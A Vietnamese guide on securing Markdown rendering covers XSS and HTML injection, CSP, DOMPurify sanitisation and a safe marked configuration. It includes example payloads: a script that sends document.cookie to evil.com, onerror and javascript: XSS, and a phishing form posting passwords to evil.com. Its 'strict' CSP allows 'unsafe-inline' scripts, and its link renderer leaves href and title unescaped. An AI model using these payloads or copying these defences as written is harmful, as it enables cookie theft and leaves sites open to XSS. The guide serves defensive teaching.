Thực hành Tốt nhất về Bảo mật Markdown
Mặc dù Markdown có vẻ như chỉ là văn bản đơn giản, việc xử lý không đúng cách có thể dẫn đến các lỗ hổng bảo mật nghiêm trọng. Hướng dẫn này chỉ ra cách xử lý nội dung Markdown một cách an toàn.
Các Mối đe dọa Bảo mật Phổ biến
1. XSS (Cross-Site Scripting)
Markdown cho phép nhúng HTML, điều này có thể bị khai thác để tiêm script độc hại:
markdown
<!-- Nguy hiểm: HTML không được làm sạch -->
<script>
// Đánh cắp cookie
fetch('https://evil.com/steal?data=' + document.cookie);
</script>
<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('XSS')">Nhấp vào đây</a>2. Injection HTML
Ngay cả khi không có JavaScript, HTML độc hại vẫn có thể gây thiệt hại:
markdown
<!-- Tấn công lừa đảo -->
<form action="https://evil.com/phish" method="POST">
<input type="password" name="password" placeholder="Nhập mật khẩu">
<button>Đăng nhập</button>
</form>Chiến lược Phòng thủ
1. Chính sách Bảo mật Nội dung (CSP)
Triển khai CSP headers nghiêm ngặt:
html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">2. Làm sạch HTML
Sử dụng thư viện làm sạch chuyên dụng:
DOMPurify (trình duyệt)
javascript
import DOMPurify from 'dompurify';
import marked from 'marked';
const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title', 'class'],
FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
FORBID_ATTR: ['onerror', 'onclick', 'onload']
});
document.getElementById('output').innerHTML = clean;3. Cấu hình Trình phân tích Markdown An toàn
Cấu hình Marked An toàn
javascript
const marked = require('marked');
const renderer = {
html(html) {
// Chặn HTML hoàn toàn
return '';
},
link(href, title, text) {
// Chỉ cho phép các giao thức an toàn
const safeProtocols = ['http:', 'https:', 'mailto:'];
try {
const url = new URL(href);
if (!safeProtocols.includes(url.protocol)) {
return text;
}
} catch {
return text;
}
return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
}
};
marked.use({ renderer });Danh sách Kiểm tra Bảo mật
Trước khi Triển khai
- [ ] Bật Chính sách Bảo mật Nội dung (CSP)
- [ ] Triển khai làm sạch HTML (DOMPurify/sanitize-html)
- [ ] Vô hiệu hóa hoặc hạn chế HTML thô
- [ ] Xác thực tất cả URL và liên kết
- [ ] Triển khai giới hạn tốc độ
- [ ] Thêm bảo vệ CSRF
- [ ] Xác thực tải lên tệp
- [ ] Triển khai xác thực và ủy quyền
- [ ] Đặt giới hạn độ dài nội dung
- [ ] Bật HTTPS
- [ ] Cấu hình HTTP headers an toàn
- [ ] Triển khai ghi nhật ký và giám sát
- [ ] Thực hiện kiểm tra bảo mật thường xuyên
- [ ] Giữ các phụ thuộc được cập nhật
Kết luận
Bảo mật Markdown không nên bị bỏ qua. Bằng cách triển khai làm sạch đúng cách, xác thực, xác thực và giám sát, bạn có thể xử lý nội dung Markdown do người dùng tạo một cách an toàn và bảo vệ ứng dụng và người dùng của mình khỏi các cuộc tấn công.